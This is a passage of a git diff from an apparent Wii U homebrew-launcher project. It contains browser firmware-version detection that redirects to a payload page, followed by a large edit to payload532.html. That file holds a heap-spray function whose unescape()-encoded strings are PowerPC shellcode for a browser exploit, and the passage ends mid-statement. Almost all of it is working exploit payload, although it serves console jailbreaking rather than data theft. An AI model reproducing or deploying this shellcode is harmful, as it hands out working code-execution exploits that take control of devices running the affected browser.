payload URL + document.getElementById("text").innerHTML="Detected Wii U Firmware version 5.5.1"; + window.location = "payload.php?sysver=550"; + } -->See if browser is for Wii U version 5.5.0 - if(versionNumber == "3.0.4.2.11") + else if(versionNumber == "3.0.4.2.11") { -->Display message and redirect to payload URL document.getElementById("text").innerHTML="Detected Wii U Firmware version 5.5.0"; diff --git a/www/homebrew_launcher/payload532.html b/www/homebrew_launcher/payload532.html index 144b137..d53c933 100644 --- a/www/homebrew_launcher/payload532.html +++ b/www/homebrew_launcher/payload532.html @@ -55,7 +55,7 @@ function sprayInc(n) { } function sprayCode(n) { - var str = unescape("%ucafe%ucafe%u3c20%u1ab5%u6021%ud138%u4800%u1a39%u3800%u2500%u4400%u0002%u4e80%u0020%u7c08%u02a6%u9421%ufff0%u93c1%u0004%u93e1%u0008%u7c05%u0378%u7c26%u0b78%u3800%u3600%u4400%u0002%u6000%u0000"); + var str = unescape("%ucafe%ucafe%u3c20%u1ab5%u6021%ud138%u4800%u1409%u3800%u2500%u4400%u0002%u4e80%u0020%u7c08%u02a6%u9421%ufff0%u93c1%u0004%u93e1%u0008%u7c05%u0378%u7c26%u0b78%u3800%u3600%u4400%u0002%u6000%u0000"); str += unescape("%u7ca0%u2b78%u7cc1%u3378%u83c1%u0004%u83e1%u0008%u3821%u0010%u7c08%u03a6%u4e80%u0020%u7fd8%u82a6%u7ff9%u82a6%u7c00%u06ac%u4c00%u012c%u3c60%ufff0%u6063%u0002%u7c78%u83a6%u3c60%ufff0%u6063%u0032"); str += unescape("%u7c79%u83a6%u7c00%u06ac%u4c00%u012c%u3c60%ufff1%u6063%ud638%u3c80%u3ce0%u6084%u3080%u9083%u0000%u3c80%u60e7%u6084%u0012%u9083%u0004%u3c80%u7cf1%u6084%u8ba6%u9083%u0008%u3c80%u3ce0%u6084%u0080"); str += unescape("%u9083%u000c%u3c80%u60e7%u6084%u00ff%u9083%u0010%u3c80%u7cf0%u6084%u8ba6%u9083%u0014%u3c80%u7c00%u6084%u06ac%u9083%u0018%u3c80%u4c00%u6084%u012c%u9083%u001c%u3c80%u7ce8%u6084%u02a6%u9083%u0020"); @@ -64,211 +64,211 @@ function sprayCode(n) { str += unescape("%u6063%u03c8%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%ufff0%u6063%u03cc%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%ufff1%u6063%ud720%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%ufff1%u6063%ud73c"); str += unescape("%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%ufff1%u6063%ud840%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u7c00%u06ac%u4c00%u012c%u3c60%uffee%u6063%u0002%u7c78%u83a6%u3c60%uffee%u6063%u0032%u7c79%u83a6"); str += unescape("%u7c00%u06ac%u4c00%u012c%u3c80%u6000%u3c60%uffee%u6063%u10b8%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%uffee%u6063%u10bc%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u7c00%u06ac%u4c00%u012c%u7fd8%u83a6"); - str += unescape("%u7ff9%u83a6%u7c00%u06ac%u4c00%u012c%u4c00%u0064%u7c08%u02a6%u9421%ufff0%u93e1%u000c%u7c9f%u2378%u9001%u0014%u8124%u0018%u7d29%u03a6%u4e80%u0421%u813f%u001c%u807f%u0008%u7d29%u03a6%u4e80%u0421"); - str += unescape("%u813f%u001c%u807f%u000c%u7d29%u03a6%u4e80%u0421%u815f%u0010%u3920%u0000%u912a%u01fc%u815f%u0014%u912a%u01ac%u813f%u0018%u7d29%u03a6%u4e80%u0421%u813f%u0020%u8001%u0014%u3880%u0004%u807f%u0000"); - str += unescape("%u7d29%u03a6%u80bf%u0004%u38c0%u1000%u83e1%u000c%u7c08%u03a6%u3821%u0010%u4e80%u0420%u5463%u083c%u3863%u0001%u7c69%u03a6%u4240%u000c%u6000%u0000%u4bff%ufff8%u4e80%u0020%u9421%uffd0%u7c08%u02a6"); - str += unescape("%u3ca0%u0180%u3880%u0000%ubfc1%u0028%u3fe0%u0102%u63ff%ub790%u9001%u0034%u7fe9%u03a6%u38a5%u22dc%u38c1%u001c%u7c7e%u1b78%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u22e3"); - str += unescape("%u38c1%u0018%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u22f5%u38c1%u0014%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u2304%u38c1%u0010%u4e80%u0421"); - str += unescape("%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u2316%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38c1%u0008%u38a5%u231f%u7fc3%uf378%u3880%u0000%u7fe9%u03a6%u4e80%u0421%u8121%u0008%u7d29%u03a6"); - str += unescape("%u4e80%u0421%u8121%u0018%u7c7e%u1b78%u3880%u0040%u7d29%u03a6%u3860%u0100%u4e80%u0421%u8121%u001c%u3880%u0000%u38a0%u0100%u7d29%u03a6%u7c7f%u1b78%u4e80%u0421%u8121%u0010%u7fe4%ufb78%u38a0%u0003"); - str += unescape("%u38c0%u0000%u38e0%u0000%u7d29%u03a6%u7fc3%uf378%u4e80%u0421%u8121%u000c%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u8121%u0014%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u3c60%u1fff%u6063%uffff%u4bff%ufea1"); - str += unescape("%u3961%u0030%u4800%u1da8%u9421%uffd8%u7c08%u02a6%u3d20%u0102%ubfa1%u001c%u6129%ub790%u7cbe%u2b78%u3ca0%u0180%u9001%u002c%u7c9d%u2378%u7cdf%u3378%u7d29%u03a6%u3880%u0000%u38a5%u2327%u38c1%u0008"); - str += unescape("%u4e80%u0421%u8121%u0008%u7fa4%ueb78%u7fc5%uf378%u7d29%u03a6%u7fe6%ufb78%u3860%u0000%u4e80%u0421%u8121%u0008%u3860%u0001%u7fa4%ueb78%u7fc5%uf378%u7fe6%ufb78%u7d29%u03a6%u4e80%u0421%u3961%u0028"); - str += unescape("%u4800%u1d28%u9421%uffd8%u7c08%u02a6%u3d20%u0102%ubf81%u0018%u6129%ub790%u7cbd%u2b78%u3ca0%u0180%u9001%u002c%u38a5%u2339%u7d29%u03a6%u7c9e%u2378%u7cdc%u3378%u3880%u0000%u38c1%u0008%u7cff%u3b78"); - str += unescape("%u579c%u402e%u57bd%u801e%u7f9f%ufb78%u57de%uc00e%u7fff%ueb78%u4e80%u0421%u8121%u0008%u7fff%uf378%u3860%u0000%u7d29%u03a6%u7fe4%ufb78%u4e80%u0421%u8121%u0008%u3860%u0001%u7fe4%ufb78%u7d29%u03a6"); - str += unescape("%u4e80%u0421%u3961%u0028%u4800%u1c9c%u9421%uffe0%u7c08%u02a6%u3ca0%u0180%u3880%u0000%ubfc1%u0018%u3fe0%u0102%u63ff%ub790%u9001%u0024%u7fe9%u03a6%u38a5%u234f%u38c1%u0010%u7c7e%u1b78%u4e80%u0421"); - str += unescape("%u3ca0%u0180%u7fe9%u03a6%u7fc3%uf378%u3880%u0000%u38a5%u235c%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38a5%u2372%u38c1%u0008%u3880%u0000%u7fe9%u03a6%u7fc3%uf378%u4e80%u0421%u8121%u0008%u3860%u0000"); - str += unescape("%u7d29%u03a6%u4e80%u0421%u8121%u0008%u7c7f%u1b78%u3860%u0001%u7d29%u03a6%u4e80%u0421%u8121%u0010%u7c64%u1b78%u3c7f%uf400%u7d29%u03a6%u4e80%u0421%u8121%u0010%u7fe4%ufb78%u3c60%uf400%u7d29%u03a6"); - str += unescape("%u4e80%u0421%u8121%u000c%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u000c%u3860%u0001%u7d29%u03a6%u4e80%u0421%u3961%u0020%u4800%u1bc4%u7c08%u02a6%u9421%uffe8%ubf81%u0008%u7c7f%u1b78%u9001%u001c"); - str += unescape("%u7c9d%u2378%u7cbc%u2b78%u3bc0%u0002%u38e0%u0000%u7fe3%ufb78%u3880%u0000%u38a0%u0000%u38c0%u0000%u4bff%ufe65%u7fe3%ufb78%u3880%u0000%u7f85%ue378%u7fa6%ueb78%u4bff%ufdd5%u7fe3%ufb78%u4bff%ufed1"); - str += unescape("%u37de%uffff%u40a2%uffc8%u3961%u0018%u4800%u1b58%u9421%uffe0%u7c08%u02a6%u3ca0%u0180%u3880%u0000%ubfc1%u0018%u3fc0%u0102%u63de%ub790%u9001%u0024%u7fc9%u03a6%u38a5%u238a%u38c1%u0010%u7c7f%u1b78"); - str += unescape("%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u7fe3%ufb78%u3880%u0000%u38a5%u2372%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38a5%u2397%u38c1%u0008%u3880%u0000%u7fe3%ufb78%u7fc9%u03a6%u4e80%u0421%u8121%u0010"); - str += unescape("%u7d29%u03a6%u4e80%u0421%u8121%u000c%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u000c%u7c7e%u1b78%u3860%u0001%u7d29%u03a6%u4e80%u0421%u8121%u0008%u3c80%uf400%u3860%u0000%u7d29%u03a6%u4e80%u0421"); - str += unescape("%u8121%u0008%u3c9e%uf400%u3860%u0001%u7d29%u03a6%u4e80%u0421%u3880%u0000%u38a0%u0000%u38c0%u0000%u38e0%u0000%u7fe3%ufb78%u4bff%ufd5d%u7fe3%ufb78%u4bff%ufddd%u3880%u0000%u38a0%u0000%u38c0%u0000"); - str += unescape("%u38e0%u0000%u7fe3%ufb78%u4bff%ufd3d%u7fe3%ufb78%u4bff%ufdbd%u3c80%u0180%u7fe3%ufb78%u3884%u23ab%u38a0%u0000%u4bff%ufe89%u3961%u0020%u4800%u1a40%u7c08%u02a6%u9421%uffe0%u3d20%u0102%u3ca0%u0180"); - str += unescape("%u6129%ub790%u93e1%u001c%u7d29%u03a6%u9001%u0024%u3880%u0000%u38a5%u23c3%u38c1%u0008%u7c7f%u1b78%u4e80%u0421%u3880%u0000%u38a0%u0000%u38c0%u0000%u38e0%u0000%u7fe3%ufb78%u4bff%ufccd%u7fe3%ufb78"); - str += unescape("%u4bff%ufd4d%u3880%u0000%u38a0%u0000%u38c0%u0000%u38e0%u0000%u7fe3%ufb78%u4bff%ufcad%u7fe3%ufb78%u4bff%ufd2d%u8121%u0008%u7d29%u03a6%u4e80%u0421%u3961%u0020%u4800%u19bc%u9421%uffd8%u7c08%u02a6"); - str += unescape("%u3ca0%u0180%ubfa1%u001c%u3fe0%u0102%u63ff%ub790%u9001%u002c%u7fe9%u03a6%u7c9d%u2378%u38a5%u22e3%u3880%u0000%u38c1%u0014%u7c7e%u1b78%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000"); - str += unescape("%u38a5%u23c9%u38c1%u0010%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u23d8%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38a5%u23e7%u38c1%u0008%u7fc3%uf378%u7fe9%u03a6%u3880%u0000"); - str += unescape("%u4e80%u0421%u8121%u0014%u3880%u0020%u3860%u0300%u7d29%u03a6%u4e80%u0421%u8121%u0014%u7c7e%u1b78%u3880%u0008%u7d29%u03a6%u3860%u1000%u4e80%u0421%u8161%u0010%u3920%u0000%u7fa4%ueb78%u7d69%u03a6"); - str += unescape("%u38a0%u0000%u38c0%u0000%u38fe%u0300%u3900%u0300%u3940%u001a%u7c7f%u1b78%u4e80%u0421%u8121%u000c%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u8121%u0008%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u2f83%u0000"); - str += unescape("%u409e%u0028%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u4bff%uffc8%u3961%u0028%u4800%u187c%u38a5%u0001%u3920%u0000%u7ca9%u03a6%u4240%u001c"); - str += unescape("%u7d03%u48ae%u7d44%u48ae%u7f88%u5000%u409e%u0014%u3929%u0001%u4bff%uffe8%u3860%u0000%u4e80%u0020%u3860%u0001%u4e80%u0020%u38a5%u0001%u3920%u0000%u7ca9%u03a6%u4240%u0014%u7d44%u48ae%u7d43%u49ae"); - str += unescape("%u3929%u0001%u4bff%ufff0%u4e80%u0020%u7c08%u02a6%u9421%uffe8%ubf81%u0008%u7c7e%u1b78%u9001%u001c%u7c9d%u2378%u7cbf%u2b78%u3f80%u0180%u7f9f%ue000%u419e%u0024%u7fe3%ufb78%u7fc4%uf378%u7fa5%ueb78"); - str += unescape("%u4bff%uff71%u2f83%u0000%u419e%u005c%u3bff%u0004%u4bff%uffdc%u3f80%u0f84%u3fe0%u0d80%u639c%u8a0c%u7fe3%ufb78%u7fc4%uf378%u7fa5%ueb78%u4bff%uff45%u2f83%u0000%u419e%u0030%u3bff%u0004%u7f9f%ue000"); - str += unescape("%u409e%uffe0%u3d20%u0103%u3c60%u0180%u6129%u1368%u3863%u23fc%u7d29%u03a6%u4e80%u0421%u3860%u0000%u4800%u0008%u7fe3%ufb78%u3961%u0018%u4800%u1778%u7c08%u02a6%u9421%ufff0%u93e1%u000c%u7c7f%u1b78"); - str += unescape("%u9001%u0014%u3860%u0001%u3880%u0000%u38a0%u0000%u38c0%u0000%u38e0%u0000%u3d00%u0001%u7fe9%ufb78%u3800%u3400%u7c3f%u0b78%u4400%u0002%u6000%u0000%u7fe1%ufb78%u7c7f%u1b78%u3961%u0010%u7fe3%ufb78"); - str += unescape("%u4800%u1730%u7c08%u02a6%u9421%ufff0%ubfc1%u0008%u7c7f%u1b78%u9001%u0014%u7c9e%u2378%u3860%u0001%u3880%u0000%u7fc5%uf378%u38c0%u0000%u38e0%u0000%u3d00%u0001%u7fe9%ufb78%u7c3e%u0b78%u3800%u3500"); - str += unescape("%u4400%u0002%u6000%u0000%u7fc1%uf378%u3961%u0010%u4800%u16dc%u9421%ufe50%u7c08%u02a6%ubde1%u016c%u3fe0%u0102%u7c7d%u1b78%u63ff%ua31c%u3c60%u0180%u9001%u01b4%u7fe9%u03a6%u3863%u240e%u3881%u0158"); - str += unescape("%u4e80%u0421%u3c60%u0180%u7fe9%u03a6%u3881%u0154%u3863%u2417%u3fe0%u0102%u63ff%ub790%u4e80%u0421%u8061%u0158%u4bff%uf795%u8061%u0158%u4bff%ufb25%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000"); - str += unescape("%u38a5%u22dc%u38c1%u0150%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u241e%u38c1%u014c%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u22e3%u38c1%u0148"); - str += unescape("%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u22f5%u38c1%u0144%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u234f%u38c1%u0140%u4e80%u0421%u3ca0%u0180"); - str += unescape("%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u2425%u38c1%u013c%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u2437%u38c1%u0138%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158"); - str += unescape("%u3880%u0000%u38a5%u23c9%u38c1%u0134%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u23d8%u38c1%u0130%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u2449"); - str += unescape("%u38c1%u012c%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u245d%u38c1%u0128%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u2470%u38c1%u0124%u4e80%u0421"); - str += unescape("%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u23e7%u38c1%u0120%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u247e%u38c1%u011c%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6"); - str += unescape("%u8061%u0158%u3880%u0000%u38a5%u23c3%u38c1%u0118%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0154%u3880%u0000%u38a5%u2488%u38c1%u0114%u4e80%u0421%u3ca0%u0180%u38a5%u249b%u38c1%u0110%u7fe9%u03a6"); - str += unescape("%u8061%u0154%u3880%u0000%u4e80%u0421%u813d%u0014%u3880%u0020%u3860%u0300%u7d29%u03a6%u4e80%u0421%u813d%u0014%u7c7f%u1b78%u3880%u0020%u7d29%u03a6%u3860%u0300%u4e80%u0421%u813d%u0014%u7c7e%u1b78"); - str += unescape("%u3880%u0020%u7d29%u03a6%u3860%u0300%u4e80%u0421%u813d%u0014%u3880%u0008%u7c76%u1b78%u7d29%u03a6%u3860%u1000%u4e80%u0421%u8161%u0134%u38a0%u0000%u38c0%u0000%u7d69%u03a6%u38ff%u0300%u3900%u0300"); - str += unescape("%u3940%u0019%u8081%u0118%u3920%u0000%u7c7a%u1b78%u4e80%u0421%u813d%u0014%u7c7c%u1b78%u3880%u0008%u7d29%u03a6%u3860%u1000%u4e80%u0421%u8161%u0134%u8081%u0118%u38a0%u0000%u7d69%u03a6%u38c0%u0000"); - str += unescape("%u38fe%u0300%u3900%u0300%u3920%u0000%u3940%u001c%u7c7b%u1b78%u4e80%u0421%u813d%u0014%u7c79%u1b78%u3880%u0008%u3860%u1000%u7d29%u03a6%u4e80%u0421%u2f9c%u0000%u7c78%u1b78%u419e%u000c%u2f99%u0000"); - str += unescape("%u409e%u002c%u8061%u0158%u3c80%u0180%u3884%u24ad%u38a0%u0001%u4bff%uf7d9%u3c60%u2fff%u6063%uffff%u4bff%uf47d%u8061%u0158%u4bff%uf949%u8061%u0158%u3c80%u0180%u3884%u24d9%u38a0%u0001%u4bff%uf7b1"); - str += unescape("%u3d20%u0102%u6129%ub790%u3ca0%u0180%u38c1%u010c%u7d29%u03a6%u8061%u0158%u3880%u0000%u38a5%u24ec%u3f80%u0180%u3b9c%u2200%u4e80%u0421%u8121%u010c%u7f84%ue378%u38a0%u002c%u3929%u0044%u3861%u0040"); - str += unescape("%u9121%u010c%u4bff%ufae5%u80a1%u011c%u3880%u002c%u3861%u0040%u4bff%ufaf9%u389c%u002c%u7c79%u1b78%u3861%u00c0%u7ca4%uc4aa%u7ca3%uc5aa%u3880%u0018%u80a1%u011c%u4bff%ufad9%u389c%u0044%u7c74%u1b78"); - str += unescape("%u3861%u00a8%u7ca4%uc4aa%u7ca3%uc5aa%u3880%u0018%u80a1%u011c%u4bff%ufab9%u389c%u005c%u7c70%u1b78%u38a0%u0038%u3861%u0008%u4bff%ufa81%u80a1%u011c%u3880%u0038%u3861%u0008%u4bff%ufa95%u389c%u0094"); - str += unescape("%u7c71%u1b78%u3861%u0090%u7ca4%uc4aa%u7ca3%uc5aa%u3880%u0018%u80a1%u011c%u4bff%ufa75%u393c%u00ac%u7c72%u1b78%u3861%u00fc%u7ca9%u64aa%u7ca3%u65aa%u3880%u000c%u80a1%u011c%u4bff%ufa55%u393c%u00b8"); - str += unescape("%u7c75%u1b78%u3861%u00f0%u7ca9%u64aa%u7ca3%u65aa%u3880%u000c%u80a1%u011c%u4bff%ufa35%u395c%u00c4%u7c6f%u1b78%u3861%u00e4%u7caa%u64aa%u7ca3%u65aa%u3880%u000c%u80a1%u011c%u3b9c%u00d0%u4bff%ufa11"); - str += unescape("%u3880%u000c%u7c73%u1b78%u3861%u00d8%u7cbc%u64aa%u7ca3%u65aa%u80a1%u011c%u4bff%uf9f5%u393f%u0080%u3940%u00a0%u913a%u000c%u915a%u007c%u3920%u0000%u3959%u000c%u38df%u01f8%u38bf%u0220%u913a%u0078"); - str += unescape("%u90da%u0084%u391f%u0208%u915a%u0098%u3880%u0004%u90bf%u014c%u38bf%u0218%u90bf%u0168%u38bf%u0210%u90df%u01fc%u3cc0%u4452%u90bf%u0178%u60c6%u5642%u38bf%u0230%u90df%u0208%u90bf%u01a8%u3cc0%u4452"); - str += unescape("%u38bf%u021c%u80e1%u010c%u90bf%u01c4%u60c6%u5643%u38bf%u0228%u911f%u0118%u90bf%u01dc%u3900%u0004%u38b9%u0028%u90df%u0210%u38de%u0080%u90bf%u01f4%u90ff%u0094%u7c77%u1b78%u929f%u0114%u911f%u011c"); - str += unescape("%u929f%u0174%u911f%u017c%u915f%u01f8%u913f%u0200%u913f%u0204%u913f%u020c%u913f%u0214%u925f%u0124%u933f%u0154%u921f%u0164%u925f%u0184%u923f%u01b4%u933f%u01e4%u913f%u0218%u913f%u021c%u913f%u0224"); - str += unescape("%u913f%u022c%u91ff%u0220%u92bf%u0228%u90db%u000c%u38c0%u0170%u90db%u007c%u38de%u01a8%u90db%u0084%u913b%u0078%u915b%u0098%u913e%u01b0%u913e%u01b4%u913e%u01bc%u913e%u01c4%u3d20%udead%u90fe%u0094"); - str += unescape("%u6129%uc0de%u38fe%u0204%u915e%u01a8%u90fe%u0118%u3d40%u4452%u38fe%u01b8%u913e%u0204%u813d%u0014%u614a%u5641%u90fe%u0128%u38fe%u01c8%u911e%u012c%u7d29%u03a6%u911e%u0174%u391e%u01c0%u90fe%u0158"); - str += unescape("%u911e%u018c%u915e%u01b8%u90de%u01ac%u929e%u0124%u90be%u01a4%u907e%u01c0%u3860%u0008%u921e%u0114%u925e%u0134%u923e%u0164%u933e%u0194%u4e80%u0421%u8121%u014c%u3c80%u0180%u38a0%u0005%u7d29%u03a6"); - str += unescape("%u3884%u24f9%u7c7c%u1b78%u4e80%u0421%u813d%u0014%u3880%u0004%u3860%u0008%u7d29%u03a6%u4e80%u0421%u8121%u014c%u3c80%u0180%u38a0%u0005%u7d29%u03a6%u3884%u24fe%u7c74%u1b78%u4e80%u0421%u7f83%ue378"); - str += unescape("%u3880%u0004%u38a0%u0000%u38c0%u0000%u7ea9%u03a6%u4e80%u0421%u3880%u0004%u7c7c%u1b78%u38a0%u0000%u7e83%ua378%u38c0%u0000%u7ea9%u03a6%u4e80%u0421%u7c69%ue379%u41a2%u0038%u8061%u0158%u3c80%u0180"); - str += unescape("%u3884%u2503%u38a0%u0002%u4bff%uf425%u3c60%u2fff%u6063%uffff%u4bff%uf0c9%u8061%u0158%u8081%u0110%u4bff%uf619%u8061%u0158%u4bff%uf589%u8121%u0148%u3860%u1000%u3880%u0020%u7d29%u03a6%u4e80%u0421"); - str += unescape("%u7c7c%u1b79%u40a2%u0038%u8061%u0158%u3c80%u0180%u3884%u253c%u38a0%u0002%u4bff%uf3d5%u3c60%u2fff%u6063%uffff%u4bff%uf079%u8061%u0158%u8081%u0110%u4bff%uf5c9%u8061%u0158%u4bff%uf539%u3d20%u0123"); - str += unescape("%u7f83%ue378%u6129%u4567%u3880%u1000%u913c%u0000%u3d20%u4452%u6129%u5648%u913c%u0fb4%u3d20%u4158%u913c%u0fb8%u3920%u0008%u913c%u0ff4%u3d20%uffea%u6129%ua1b0%u913c%u0ff8%u8121%u0140%u7d29%u03a6"); - str += unescape("%u4e80%u0421%u8121%u013c%u7f83%ue378%u3880%u1000%u7d29%u03a6%u4e80%u0421%u813d%u0014%u3880%u0004%u3860%u0008%u7d29%u03a6%u4e80%u0421%u3920%u0000%u9923%u0007%u3c80%u0180%u8121%u014c%u38a0%u0007"); - str += unescape("%u3884%u256c%u7c79%u1b78%u7d29%u03a6%u4e80%u0421%u813d%u0014%u3880%u0004%u3860%u0008%u7d29%u03a6%u4e80%u0421%u3d20%ufff0%u6129%u2274%u3ca0%uc000%u9123%u0000%u3d20%ufff0%u6129%u2294%u3880%u0004"); - str += unescape("%u60a5%u0004%u38c0%u0004%u9123%u0004%u7ee9%u03a6%u7c75%u1b78%u7e83%ua378%u4e80%u0421%u8121%u0130%u9281%u006c%u9121%u0088%u8121%u0124%u9381%u0070%u9121%u0084%u8121%u0128%u93e1%u007c%u7d29%u03a6"); - str += unescape("%u93c1%u0080%u9341%u0074%u9361%u0078%u92e1%u008c%u8281%u012c%u8381%u0134%u4e80%u0421%u7e89%u03a6%u4e80%u0421%u3c80%u0180%u7c69%u1b78%u3884%u024c%u38a0%u0001%u38c1%u006c%u38f6%u0300%u3900%u0300"); - str += unescape("%u3940%u001a%u7f89%u03a6%u7f03%uc378%u4e80%u0421%u8121%u0124%u7d29%u03a6%u4e80%u0421%u8121%u0130%u7f03%uc378%u7d29%u03a6%u4e80%u0421%u8121%u0120%u7f03%uc378%u7d29%u03a6%u4e80%u0421%u2f83%u0000"); - str += unescape("%u409e%u0034%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u8121%u0124%u7d29%u03a6%u4e80%u0421%u4bff%uffbc%u3880%u0006%u7ea5%uab78%u38c0%u0008"); - str += unescape("%u7ee9%u03a6%u7f23%ucb78%u4e80%u0421%u3920%u002a%u7c25%u0b78%u7f23%ucb78%u9525%u0108%u3880%u0006%u38c0%u0004%u7e69%u03a6%u4e80%u0421%u8121%u0108%u6d2a%ufff0%u2f8a%u2274%u419e%u0038%u8061%u0158"); - str += unescape("%u3c80%u0180%u3884%u2573%u38a0%u0002%u4bff%uf1a1%u3c60%u2fff%u6063%uffff%u4bff%uee45%u8061%u0158%u8081%u0110%u4bff%uf395%u8061%u0158%u4bff%uf305%u3c60%uff20%u3e80%uff20%u6063%u000c%u3e60%u4452"); - str += unescape("%u4bff%uf5b1%u3e40%u4452%u5463%u2036%u3b20%u0000%u3ee3%uff20%u3b80%u0000%u3af7%u0014%u6294%u0013%u6273%u5641%u6252%u5648%u7f97%ua040%u409d%u0048%u7ee3%ubb78%u4bff%uf57d%u7c75%u1b78%u4bff%uf575"); - str += unescape("%u7f83%u9800%u419e%u0014%u7f83%u9000%u40be%u0010%u7eb9%uab78%u4800%u0008%u7ebc%uab78%u2f9c%u0000%u419e%u000c%u2f99%u0000%u409e%u0050%u3af7%ufff0%u4bff%uffb8%u2f9c%u0000%u419e%u000c%u2f99%u0000"); - str += unescape("%u409e%u0038%u8061%u0158%u3c80%u0180%u3884%u259b%u38a0%u0002%u4bff%uf0d9%u3c60%u2fff%u6063%uffff%u4bff%ued7d%u8061%u0158%u8081%u0110%u4bff%uf2cd%u8061%u0158%u4bff%uf23d%u7f84%ue378%u3879%u0048"); - str += unescape("%u4bff%uf545%u813d%u0018%u7f43%ud378%u7d29%u03a6%u4e80%u0421%u813d%u0018%u7f03%uc378%u7d29%u03a6%u4e80%u0421%u813d%u0018%u7f63%udb78%u7d29%u03a6%u4e80%u0421%u813d%u0018%u7fe3%ufb78%u7d29%u03a6"); - str += unescape("%u4e80%u0421%u813d%u0018%u7ec3%ub378%u7d29%u03a6%u4e80%u0421%u813d%u0018%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u3961%u01b0%u4800%u0bc8%u7c08%u02a6%u9421%uffc0%u3ca0%u0180%ubf61%u002c%u3fc0%u0102"); - str += unescape("%u9001%u0044%u63de%ub790%u7c7f%u1b78%u7fc9%u03a6%u7c9c%u2378%u8063%u0004%u3880%u0000%u38a5%u3294%u38c1%u001c%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u807f%u0004%u3880%u0000%u38a5%u32a1%u38c1%u0018"); - str += unescape("%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u807f%u0004%u3880%u0000%u38a5%u32b9%u38c1%u0014%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u807f%u0004%u3880%u0000%u38a5%u32cd%u38c1%u0010%u4e80%u0421%u3ca0%u0180"); - str += unescape("%u7fc9%u03a6%u807f%u0004%u3880%u0000%u38a5%u32e3%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38a5%u32f9%u38c1%u0008%u3880%u0000%u807f%u0004%u7fc9%u03a6%u4e80%u0421%u8121%u001c%u7d29%u03a6%u4e80%u0421"); - str += unescape("%u8121%u0018%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u0018%u7c7e%u1b78%u3860%u0001%u7d29%u03a6%u3fbe%uf400%u4e80%u0421%u8121%u0014%u7c7b%u1b78%u3c80%uf400%u7d29%u03a6%u3860%u0000%u4e80%u0421"); - str += unescape("%u8121%u0014%u7fa4%ueb78%u3860%u0001%u7d29%u03a6%u4e80%u0421%u8121%u0010%u3880%u0000%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u0010%u3880%u0000%u3860%u0001%u7d29%u03a6%u4e80%u0421%u813f%u001c"); - str += unescape("%u3c60%uf400%u7fc4%uf378%u7d29%u03a6%u4e80%u0421%u813f%u001c%u7f64%udb78%u7fa3%ueb78%u7d29%u03a6%u4e80%u0421%u8121%u000c%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u000c%u3860%u0001%u7d29%u03a6"); - str += unescape("%u4e80%u0421%u8121%u0008%u3880%u0000%u38a0%u0000%u7f86%ue378%u7d29%u03a6%u3860%u0001%u4e80%u0421%u8121%u000c%u3860%u0001%u7d29%u03a6%u4e80%u0421%u8121%u0010%u3860%u0001%u3880%u0000%u7d29%u03a6"); - str += 